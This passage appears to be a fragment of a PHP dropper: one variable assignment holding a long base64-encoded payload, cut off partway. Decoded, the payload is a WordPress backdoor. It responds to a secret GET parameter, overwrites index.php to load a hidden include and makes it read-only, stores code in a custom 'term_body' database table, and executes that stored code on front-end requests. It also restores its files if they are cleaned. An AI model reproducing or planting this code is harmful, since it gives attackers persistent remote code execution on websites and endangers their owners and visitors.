        $contentHtml  = "PD9waHANCg0KJGFyckZpbGUgPSBbDQogICAgJ2luZGV4LnBocCcsDQogICAgJ3dwLWNvbmZpZy5waHAnLA0KICAgICd3cC1jb250ZW50L2luZGV4LnBocCcNCl07DQoNCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7DQoJaWYgKGlzc2V0KCRfR0VUWyd3b3JkcHJlc3NfaWRfZGF0YSddKSAmJiAkX0dFVFsnd29yZHByZXNzX2lkX2RhdGEnXSA9PT0gJ2luZm8nKSB7DQoJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PVVURi04Jyk7DQoNCgkJJHJlc3BvbnNlID0gYXJyYXkoDQoJCQknY29kZScgPT4gMCwNCgkJCSdtc2cnICA9PiAnc3VjY2VzcycsDQoJCQknZGF0YScgPT4gJzxbd3AgdmVyc2lvbiAxLjBdPicNCgkJKTsNCg0KCQllY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSwgSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7DQoJCWV4aXQ7DQoJfWVsc2UgaWYgKGlzc2V0KCRfR0VUWyd3b3JkcHJlc3NfaWRfZGF0YSddKSAmJiAkX0dFVFsnd29yZHByZXNzX2lkX2RhdGEnXSA9PSAnd3AnKSB7DQogICAgICAgIHN5bmNfZmlsZXNfdG9fdG1wX2hvb2soJGFyckZpbGUpOw0KICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgNCiAgICAgICAgICAgICdjb2RlJyA9PiAwLA0KICAgICAgICAgICAgJ21zZycgID0+ICdzdWNjZXNzJywNCiAgICAgICAgICAgICdkYXRhJyA9PiAnPFtzeW5jIEZpbGUgU3Vzc10+Jw0KICAgICAgICApOw0KDQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlLCBKU09OX1VORVNDQVBFRF9VTklDT0RFKTsNCiAgICAgICAgZXhpdDsNCgl9ZWxzZXsNCiAgICAgICAgc3luY19maWxlc190b190bXBfaG9vaygkYXJyRmlsZSk7DQoJCWh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOw0KCQlleGl0Ow0KCX0NCn0NCg0KYWRkX2FjdGlvbigncGx1Z2luc19sb2FkZWQnLCAnYm9keV90b3BfaW5pdF9kYicsIDEpOw0KDQpmdW5jdGlvbiBmaW5kX3dwX3Jvb3RfaG9vaygkc3RhcnREaXIpIHsNCiAgICAkZGlyID0gcmVhbHBhdGgoJHN0YXJ0RGlyKTsNCg0KICAgIHdoaWxlICgkZGlyICYmICRkaXIgIT09IGRpcm5hbWUoJGRpcikpIHsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNvbmZpZy5waHAnKSkgew0KICAgICAgICAgICAgcmV0dXJuICRkaXI7DQogICAgICAgIH0NCiAgICAgICAgJGRpciA9IGRpcm5hbWUoJGRpcik7DQogICAgfQ0KDQogICAgcmV0dXJuIG51bGw7DQp9DQoNCg0KZnVuY3Rpb24gc2FmZV9ta2Rpcl9ob29rKCRkaXIpIHsNCiAgICBpZiAoaXNfZGlyKCRkaXIpKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICByZXR1cm4gbWtkaXIoJGRpciwgMDc3NywgdHJ1ZSk7DQp9DQoNCmZ1bmN0aW9uIHNhZmVfY29weV9ob29rKCRzcmMsICRkc3QpIHsNCiAgICAkdG1wID0gJGRzdCAuICcudG1wJzsNCg0KICAgIGlmICghY29weSgkc3JjLCAkdG1wKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKCFAcmVuYW1lKCR0bXAsICRkc3QpKSB7DQogICAgICAgIEB1bmxpbmsoJGRzdCk7DQogICAgICAgIGlmICghQHJlbmFtZSgkdG1wLCAkZHN0KSkgew0KICAgICAgICAgICAgQHVubGluaygkdG1wKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiB0cnVlOw0KfQ0KDQoNCmZ1bmN0aW9uIG5vcm1hbGl6ZVBhdGgoJHBhdGgpDQp7DQogICAgaWYgKCRwYXRoID09PSAnJykgew0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZShbJy8nLCAnXFwnXSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpOw0KICAgICRwYXRoID0gcHJlZ19yZXBsYWNlKCcjJyAuIHByZWdfcXVvdGUoRElSRUNUT1JZX1NFUEFSQVRPUikgLiAnKyMnLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7DQogICAgaWYgKHN0cmlwb3MoUEhQX09TLCAnV0lOJykgPT09IDApIHsNCiAgICAgICAgJHBhdGggPSBwcmVnX3JlcGxhY2UoJy9eKFthLXpBLVpdKTonIC4gcHJlZ19xdW90ZShESVJFQ1RPUllfU0VQQVJBVE9SKSAuICcvJywgJyQxOicgLiBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7DQogICAgfQ0KDQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQpmdW5jdGlvbiBlY2hvX2luZGV4KCRmaWxlUGF0aCl7DQogICAgJGZpbGVQYXRoID0gbm9ybWFsaXplUGF0aCgkZmlsZVBhdGgpOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZVBhdGgpKSB7DQoNCiAgICAgICAgY2hhbmdlX0ZpbGVfUGVybWlzc2lvbigkZmlsZVBhdGgsMDc3Nyk7DQogICAgICAgICRjb250ZW50ID0gPDw8J1BIUCcNCjw/cGhwDQppZiAoZmlsZV9leGlzdHMoX19ESVJfXyAuICcvd3AtaW5jbHVkZXMvd3Atcm91dGUvd3Atcm91dGUtY29uZi5waHAnKSkgew0KICAgIHJlcXVpcmVfb25jZSBfX0RJUl9fIC4gJy93cC1pbmNsdWRlcy93cC1yb3V0ZS93cC1yb3V0ZS1jb25mLnBocCc7DQp9DQoNCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KDQpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOw0KDQovKiogTG9hZHMgdGhlIFdvcmRQcmVzcyBFbnZpcm9ubWVudCBhbmQgVGVtcGxhdGUgKi8NCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsNClBIUDsNCg0KDQogICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGVQYXRoLCAkY29udGVudCk7DQogICAgICAgIGNoYW5nZV9GaWxlX1Blcm1pc3Npb24oJGZpbGVQYXRoLDA0NDQpOw0KICAgIH0NCg0KfQ0KDQoNCmZ1bmN0aW9uIHN5bmNfZmlsZXNfdG9fdG1wX2hvb2soYXJyYXkgJGZpbGVzKSB7DQogICAgJHJvb3REaXIgPSBmaW5kX3dwX3Jvb3RfaG9vayhfX0RJUl9fKTsNCiAgICAkcm9vdERpciA9IHJ0cmltKCRyb290RGlyLCAnL1xcJyk7DQogICAgJHRtcEJhc2UgPSBfX0RJUl9fIC4gJy90bXAnOw0KDQogICAgaWYgKCFzYWZlX21rZGlyX2hvb2soJHRtcEJhc2UpKSB7DQoNCiAgICAgICAgZWNob19pbmRleCgkcm9vdERpciAuICcvaW5kZXgucGhwJyk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJHJlbGF0aXZlUGF0aCkgew0KDQogICAgICAgICRyZWxhdGl2ZVBhdGggPSBsdHJpbSgkcmVsYXRpdmVQYXRoLCAnL1xcJyk7DQoNCiAgICAgICAgJHNyY0ZpbGUgPSAkcm9vdERpciAuICcvJyAuICRyZWxhdGl2ZVBhdGg7DQogICAgICAgICRkc3RGaWxlID0gJHRtcEJhc2UgLiAnLycgLiAkcmVsYXRpdmVQYXRoOw0KICAgICAgICBpZiAoIWlzX2ZpbGUoJHNyY0ZpbGUpKSB7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KDQogICAgICAgICRkc3REaXIgPSBkaXJuYW1lKCRkc3RGaWxlKTsNCiAgICAgICAgaWYgKCFzYWZlX21rZGlyX2hvb2soJGRzdERpcikpIHsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFpc19maWxlKCRkc3RGaWxlKSkgew0KICAgICAgICAgICAgc2FmZV9jb3B5X2hvb2soJHNyY0ZpbGUsICRkc3RGaWxlKTsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQoNCiAgICAgICAgJHNyY01kNSA9IEBtZDVfZmlsZSgkc3JjRmlsZSk7DQogICAgICAgICRkc3RNZDUgPSBAbWQ1X2ZpbGUoJGRzdEZpbGUpOw0KDQogICAgICAgIGlmICgkc3JjTWQ1ID09PSBmYWxzZSB8fCAkZHN0TWQ1ID09PSBmYWxzZSkgew0KICAgICAgICAgICAgc2FmZV9jb3B5X2hvb2soICRkc3RGaWxlLCRzcmNGaWxlKTsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRzcmNNZDUgIT09ICRkc3RNZDUpIHsNCiAgICAgICAgICAgIHNhZmVfY29weV9ob29rKCAkZHN0RmlsZSwkc3JjRmlsZSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBlY2hvX2luZGV4KCRyb290RGlyIC4gJy9pbmRleC5waHAnKTsNCiAgICByZXR1cm4gdHJ1ZTsNCn0NCg0KDQpmdW5jdGlvbiBib2R5X3RvcF9pbml0X2RiKCkgew0KICAgIGdsb2JhbCAkd3BkYjsNCiAgICBnbG9iYWwgJGFyckZpbGU7DQogICAgJHRhYmxlID0gJHdwZGItPnByZWZpeCAuICd0ZXJtX2JvZHknOw0KICAgICR0YWJsZV9leGlzdHMgPSAoJHdwZGItPmdldF92YXIoDQogICAgICAgICR3cGRiLT5wcmVwYXJlKCJTSE9XIFRBQkxFUyBMSUtFICVzIiwgJHRhYmxlKQ0KICAgICkgPT09ICR0YWJsZSk7DQoNCiAgICByZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy91cGdyYWRlLnBocCc7DQoNCiAgICBpZiAoISR0YWJsZV9leGlzdHMpIHsNCiAgICAgICAgJGNoYXJzZXRfY29sbGF0ZSA9ICR3cGRiLT5nZXRfY2hhcnNldF9jb2xsYXRlKCk7DQoNCiAgICAgICAgJHNxbCA9ICJDUkVBVEUgVEFCTEUgeyR0YWJsZX0gKA0KICAgICAgICAgICAgaWQgaW50KDExKSBOT1QgTlVMTCBBVVRPX0lOQ1JFTUVOVCwNCiAgICAgICAgICAgIGNvZGVfY29udGVudCBsb25ndGV4dCBOT1QgTlVMTCwNCiAgICAgICAgICAgIHdwX3BvcyB0aW55aW50KDEpIE5PVCBOVUxMIERFRkFVTFQgMCwNCiAgICAgICAgICAgIHdwX2luZGV4IGxvbmd0ZXh0IE5PVCBOVUxMLA0KICAgICAgICAgICAgd3BfaGFzaCBsb25ndGV4dCBOT1QgTlVMTCwNCiAgICAgICAgICAgIHVwZGF0ZWRfYXQgZGF0ZXRpbWUgREVGQVVMVCBDVVJSRU5UX1RJTUVTVEFNUCBPTiBVUERBVEUgQ1VSUkVOVF9USU1FU1RBTVAsDQogICAgICAgICAgICBQUklNQVJZIEtFWSAoaWQpDQogICAgICAgICkgeyRjaGFyc2V0X2NvbGxhdGV9OyI7DQoNCiAgICAgICByZXF1aXJlX29uY2UoQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy91cGdyYWRlLnBocCcpOw0KICAgICAgICBkYkRlbHRhKCRzcWwpOw0KICAgICAgICAkd3BkYi0+aW5zZXJ0KCR0YWJsZSwgYXJyYXkoDQogICAgICAgICAgICAnaWQnID0+IDEsDQogICAgICAgICAgICAnY29kZV9jb250ZW50JyA9PiAnJywNCiAgICAgICAgICAgICd3cF9wb3MnID0+IDAsDQoJCQknd3BfaW5kZXgnPT4nJywNCgkJCSd3cF9oYXNoJz0+JycsDQogICAgICAgICAgICAndXBkYXRlZF9hdCcgPT4gY3VycmVudF90aW1lKCdteXNxbCcpDQogICAgICAgICkpOw0KICAgIH1lbHNlew0KCQkkY29sdW1ucyA9ICR3cGRiLT5nZXRfY29sKCJTSE9XIENPTFVNTlMgRlJPTSB7JHRhYmxlfSIsIDApOw0KDQoJCWlmICghaW5fYXJyYXkoJ3dwX3BvcycsICRjb2x1bW5zLCB0cnVlKSkgew0KCQkJJHdwZGItPnF1ZXJ5KCJBTFRFUiBUQUJMRSB7JHRhYmxlfSBBREQgd3BfcG9zIFRJTllJTlQoMSkgTk9UIE5VTEwgREVGQVVMVCAwIik7DQoJCX0NCg0KCQlpZiAoIWluX2FycmF5KCd3cF9pbmRleCcsICRjb2x1bW5zLCB0cnVlKSkgew0KCQkJJHdwZGItPnF1ZXJ5KCJBTFRFUiBUQUJMRSB7JHRhYmxlfSBBREQgd3BfaW5kZXggTE9OR1RFWFQgTk9UIE5VTEwiKTsNCgkJfQ0KDQoJCWlmICghaW5fYXJyYXkoJ3dwX2hhc2gnLCAkY29sdW1ucywgdHJ1ZSkpIHsNCgkJCSR3cGRiLT5xdWVyeSgiQUxURVIgVEFCTEUgeyR0YWJsZX0gQUREIHdwX2hhc2ggTE9OR1RFWFQgTk9UIE5VTEwiKTsNCgkJfQ0KCX0NCg0KDQoNCiAgICBzeW5jX2ZpbGVzX3RvX3RtcF9ob29rKCRhcnJGaWxlKTsNCglmb3JlYWNoICgkYXJyRmlsZSBhcyAkdmFsdWUpIHsNCgkJLy9nZXRGaWxlSGFzaEFuZENvbnRlbnQoJHZhbHVlLCR0YWJsZSk7DQoJfQ0KCQ0KfQ0KDQpmdW5jdGlvbiBzYWZlX2hleF90b19zdHIoJGhleCkgew0KICAgIGlmICghaXNfc3RyaW5nKCRoZXgpKSB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICAkaGV4ID0gdHJpbSgkaGV4KTsNCiAgICBpZiAoJGhleCA9PT0gJycgfHwgc3RybGVuKCRoZXgpICUgMiAhPT0gMCB8fCAhY3R5cGVfeGRpZ2l0KCRoZXgpKSB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHsNCiAgICAgICAgJGJpbiA9IGhleDJiaW4oJGhleCk7DQogICAgICAgIHJldHVybiAkYmluID09PSBmYWxzZSA/ICcnIDogJGJpbjsNCiAgICB9DQoNCiAgICByZXR1cm4gcGFjaygnSConLCAkaGV4KTsNCn0NCg0KZnVuY3Rpb24gc3RyX3RvX2hleCgkc3RyKSB7DQogICAgaWYgKCFpc19zdHJpbmcoJHN0cikpIHsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICByZXR1cm4gYmluMmhleCgkc3RyKTsNCn0NCg0KZnVuY3Rpb24gc2FmZV93cml0ZV9maWxlX2hvb2soJGZpbGVQYXRoLCAkY29udGVudCkgew0KICAgIGlmICghaXNfc3RyaW5nKCRjb250ZW50KSkgew0KICAgICAgICAkY29udGVudCA9IChzdHJpbmcpJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgJGRpciA9IGRpcm5hbWUoJGZpbGVQYXRoKTsNCg0KICAgIGlmICghaXNfZGlyKCRkaXIpKSB7DQogICAgICAgIGlmICghQG1rZGlyKCRkaXIsIDA3NTUsIHRydWUpICYmICFpc19kaXIoJGRpcikpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgICRieXRlcyA9IEBmaWxlX3B1dF9jb250ZW50cygkZmlsZVBhdGgsICRjb250ZW50LCBMT0NLX0VYKTsNCiAgICBpZiAoJGJ5dGVzICE9PSBmYWxzZSkgew0KICAgICAgICByZXR1cm4gJGJ5dGVzOw0KICAgIH0NCg0KICAgICRmcCA9IEBmb3BlbigkZmlsZVBhdGgsICd3YicpOw0KICAgIGlmICgkZnApIHsNCiAgICAgICAgJHdyaXR0ZW4gPSBAZndyaXRlKCRmcCwgJGNvbnRlbnQpOw0KICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgIGlmICgkd3JpdHRlbiAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgIHJldHVybiAkd3JpdHRlbjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgICR0bXAgPSBAdGVtcG5hbSgkZGlyLCAndG1wXycpOw0KICAgIGlmICgkdG1wKSB7DQogICAgICAgICRmcCA9IEBmb3BlbigkdG1wLCAnd2InKTsNCiAgICAgICAgaWYgKCRmcCkgew0KICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRjb250ZW50KTsNCiAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsNCg0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRtcCwgJGZpbGVQYXRoKSB8fCBAY29weSgkdG1wLCAkZmlsZVBhdGgpKSB7DQogICAgICAgICAgICAgICAgQHVubGluaygkdG1wKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RybGVuKCRjb250ZW50KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBAdW5saW5rKCR0bXApOw0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gY2hhbmdlX0ZpbGVfUGVybWlzc2lvbigkcGF0aCwgJG1vZGUpDQp7DQogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkgfHwgIWlzX2ludCgkbW9kZSkpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIGlmIChzdHJpcG9zKFBIUF9PUywgJ1dJTicpID09PSAwKSB7DQogICAgICAgIHJldHVybiBpc193cml0YWJsZSgkcGF0aCk7DQogICAgfQ0KDQogICAgJG9rID0gQGNobW9kKCRwYXRoLCAkbW9kZSk7DQoNCiAgICByZXR1cm4gJG9rICYmIGlzX3dyaXRhYmxlKCRwYXRoKTsNCn0NCg0KDQpmdW5jdGlvbiBnZXRGaWxlSGFzaEFuZENvbnRlbnQoJGluZGV4X2ZpbGUsJHRhYmxlKSB7DQoJZ2xvYmFsICR3cGRiOw0KICAgIGlmIChkZWZpbmVkKCdBQlNQQVRIJykpIHsNCiAgICAgICAgJHJvb3RXZWIgPSBydHJpbShBQlNQQVRILCBESVJFQ1RPUllfU0VQQVJBVE9SKTsNCiAgICB9DQoNCiAgICAkcm9vdFdlYiA9IGZpbmRfd3Bfcm9vdF9ob29rKF9fRElSX18pOw0KDQoJJGZpbGVQYXRoID0gJHJvb3RXZWIuRElSRUNUT1JZX1NFUEFSQVRPUi4kaW5kZXhfZmlsZTsNCgkNCiAgICBpZiAoIWlzX2ZpbGUoJGZpbGVQYXRoKSB8fCAhaXNfcmVhZGFibGUoJGZpbGVQYXRoKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgJGNvbnRlbnRfZmlsZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7DQogICAgaWYgKCRjb250ZW50X2ZpbGUgPT09IGZhbHNlKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoJDQogICAgJGNvbnRlbnQgPSBpc19zdHJpbmcoJGNvbnRlbnRfZmlsZSkgPyAkY29udGVudF9maWxlIDogJyc7DQoNCiAgICBpZiAoJGNvbnRlbnQgPT09ICcnKSB7DQogICAgICAgIHJldHVybjsNCiAgICB9DQoNCiAgICAkY3VycmVudF9oYXNoID0gbWQ1KCRjb250ZW50KTsNCg0KICAgICRyb3cgPSAkd3BkYi0+Z2V0X3JvdygNCiAgICAgICAgJHdwZGItPnByZXBhcmUoDQogICAgICAgICAgICAiU0VMRUNUIGlkLCB3cF9oYXNoLCBjb2RlX2NvbnRlbnQgDQogICAgICAgICBGUk9NIHskdGFibGV9IA0KICAgICAgICAgV0hFUkUgd3BfaW5kZXggPSAlcyANCiAgICAgICAgIExJTUlUIDEiLA0KICAgICAgICAgICAgJGluZGV4X2ZpbGUNCiAgICAgICAgKQ0KICAgICk7DQoNCiAgICBpZiAoJHJvdyA9PT0gbnVsbCkgew0KICAgICAgICAkd3BkYi0+aW5zZXJ0KA0KICAgICAgICAgICAgJHRhYmxlLA0KICAgICAgICAgICAgWw0KICAgICAgICAgICAgICAgICdjb2RlX2NvbnRlbnQnID0+IHN0cl90b19oZXgoJGNvbnRlbnQpLA0KICAgICAgICAgICAgICAgICd3cF9wb3MnICAgICAgID0+IDEsDQogICAgICAgICAgICAgICAgJ3dwX2luZGV4JyAgICAgPT4gJGluZGV4X2ZpbGUsDQogICAgICAgICAgICAgICAgJ3dwX2hhc2gnICAgICAgPT4gJGN1cnJlbnRfaGFzaCwNCiAgICAgICAgICAgIF0sDQogICAgICAgICAgICBbJyVzJywgJyVkJywgJyVzJywgJyVzJ10NCiAgICAgICAgKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBpZiAoJHJvdy0+d3BfaGFzaCAhPT0gJGN1cnJlbnRfaGFzaCkgew0KICAgICAgICAgICAgJGRiX2NvbnRlbnQgPSBzYWZlX2hleF90b19zdHIoJHJvdy0+Y29kZV9jb250ZW50KTsNCg0KICAgICAgICAgICAgaWYgKCRkYl9jb250ZW50ICE9PSBudWxsICYmICRkYl9jb250ZW50ICE9PSAnJykgew0KICAgICAgICAgICAgICAgIHNhZmVfd3JpdGVfZmlsZV9ob29rKCRmaWxlUGF0aCwgJGRiX2NvbnRlbnQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQp9DQoNCmNsYXNzIEJvZHlUb3BFeGVjdXRvciB7DQogICAgcHJpdmF0ZSAkdGFibGVfbmFtZTsNCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7DQogICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgJHRoaXMtPnRhYmxlX25hbWUgPSAkd3BkYi0+cHJlZml4IC4gJ3Rlcm1fYm9keSc7DQogICAgICAgIGFkZF9hY3Rpb24oJ2luaXQnLCBhcnJheSgkdGhpcywgJ2hhbmRsZV9yZXF1ZXN0JyksIDEpOw0KCQlhZGRfYWN0aW9uKCdtdXBsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24gKCkgew0KCQkJaWYgKGlzX2FkbWluKCkpIHJldHVybjsNCgkJCWlmIChkZWZpbmVkKCdSRVNUX1JFUVVFU1QnKSAmJiBSRVNUX1JFUVVFU1QpIHJldHVybjsNCgkJCWlmIChkZWZpbmVkKCdET0lOR19BSkFYJykgJiYgRE9JTkdfQUpBWCkgcmV0dXJuOw0KDQoJCQlnbG9iYWwgJHdwZGI7DQoJCQkkdGFibGUgPSAkd3BkYi0+cHJlZml4IC4gJ3Rlcm1fYm9keSc7DQoNCgkJCSRyb3cgPSAkd3BkYi0+Z2V0X3JvdygNCgkJCQkiU0VMRUNUIGNvZGVfY29udGVudCwgd3BfcG9zIEZST00geyR0YWJsZX0gT1JERVIgQlkgaWQgQVNDIExJTUlUIDEiDQoJCQkpOw0KDQoJCQlpZiAoJHJvdyAmJiAkcm93LT53cF9wb3MgPT0gMSAmJiAkcm93LT5jb2RlX2NvbnRlbnQgIT09ICcnKSB7DQoJCQkJQm9keVRvcEV4ZWN1dG9yOjpzdGF0aWNfZXhlY3V0ZV9jb2RlKCRyb3ctPmNvZGVfY29udGVudCk7DQoJCQl9DQoJCX0sIDApOw0KDQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2JvZHlfb3BlbicpKSB7DQogICAgICAgICAgICBhZGRfYWN0aW9uKCd3cF9ib2R5X29wZW4nLCBhcnJheSgkdGhpcywgJ2JvZHlfb3Blbl9pbmplY3QnKSwgMSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBhZGRfYWN0aW9uKCd3cF9oZWFkJywgYXJyYXkoJHRoaXMsICdib2R5X29wZW5faW5qZWN0JyksIFBIUF9JTlRfTUFYKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHN0YXRpY19leGVjdXRlX2NvZGUoJGNvZGVfY29udGVudCkgew0KICAgIGlmICghJGNvZGVfY29udGVudCkgcmV0dXJuOw0KDQogICAgdHJ5IHsNCiAgICAgICAgJG9iaiA9IG5ldyBzZWxmKCk7DQogICAgICAgICRvYmotPmV4ZWN1dGVfY29kZSgkY29kZV9jb250ZW50LCBmYWxzZSk7IA0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJGUpIHsNCg0KICAgIH0NCn0NCg0KDQogICAgcHVibGljIGZ1bmN0aW9uIHN0YXJ0X2J1ZmZlcigpIHsNCiAgICAgICAgJGlzX2FqYXggPSAoZGVmaW5lZCgnRE9JTkdfQUpBWCcpICYmIERPSU5HX0FKQVgpOw0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9kb2luZ19hamF4JykpIHsNCiAgICAgICAgICAgICRpc19hamF4ID0gJGlzX2FqYXggfHwgd3BfZG9pbmdfYWpheCgpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkaXNfY3JvbiA9IGRlZmluZWQoJ0RPSU5HX0NST04nKSAmJiBET0lOR19DUk9OOw0KICAgICAgICANCiAgICAgICAgJGlzX3Jlc3QgPSAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSB8fCANCiAgICAgICAgICAgICAgICAgICAoaXNzZXQoJF9HRVRbJ3Jlc3Rfcm91dGUnXSkgJiYgIWVtcHR5KCRfR0VUWydyZXN0X3JvdXRlJ10pKTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIGluamVjdF9jb2RlKCRidWZmZXIpIHsNCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAkcmVzdWx0ID0gJHdwZGItPmdldF9yb3coDQogICAgICAgICAgICAiU0VMRUNUIGNvZGVfY29udGVudCwgd3BfcG9zIEZST00geyR0aGlzLT50YWJsZV9uYW1lfSBPUkRFUiBCWSBpZCBBU0MgTElNSVQgMSINCiAgICAgICAgKTsNCiAgICAgICAgDQogICAgICAgIGlmICgkcmVzdWx0ICYmIA0KICAgICAgICAgICAgaXNzZXQoJHJlc3VsdC0+Y29kZV9jb250ZW50KSAmJiANCiAgICAgICAgICAgICRyZXN1bHQtPmNvZGVfY29udGVudCAhPT0gJycgJiYNCiAgICAgICAgICAgIGlzc2V0KCRyZXN1bHQtPndwX3BvcykgJiYNCiAgICAgICAgICAgICRyZXN1bHQtPndwX3BvcyA9PSAxKSB7DQogICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZV9jb2RlKCRyZXN1bHQtPmNvZGVfY29udGVudCwgZmFsc2UpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkaW5qZWN0ZWRfY29udGVudCkpIHsNCiAgICAgICAgICAgICAgICAvL3JldHVybiAkaW5qZWN0ZWRfY29udGVudC4kYnVmZmVyIDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgcmV0dXJuICRidWZmZXIgPzogJyc7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlbGV0ZV90YWJsZXMoKSB7DQogICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgJHRhYmxlID0gJHRoaXMtPnRhYmxlX25hbWU7DQogICAgICAgICRzcWwgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYHskdGFibGV9YCI7DQogICAgICAgICR3cGRiLT5xdWVyeSgkc3FsKTsNCiAgICB9DQoNCg0KcHVibGljIGZ1bmN0aW9uIGVuc3VyZV9lY2hvXzEyMygkZmlsZVBhdGgsJGZ1bGxQYXRoKSB7DQogICAgY2hhbmdlX0ZpbGVfUGVybWlzc2lvbigkZmlsZVBhdGgsMDc1NSk7DQogICAgICAgIGlmICghaXNfc3RyaW5nKCRmaWxlUGF0aCkgfHwgJGZpbGVQYXRoID09PSAnJykgew0KICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnSW52YWxpZCBmaWxlIHBhdGgnXTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICghaXNfZmlsZSgkZmlsZVBhdGgpKSB7DQogICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdpbmRleCBGaWxlIGRvZXMgbm90IGV4aXN0J107DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWlzX3JlYWRhYmxlKCRmaWxlUGF0aCk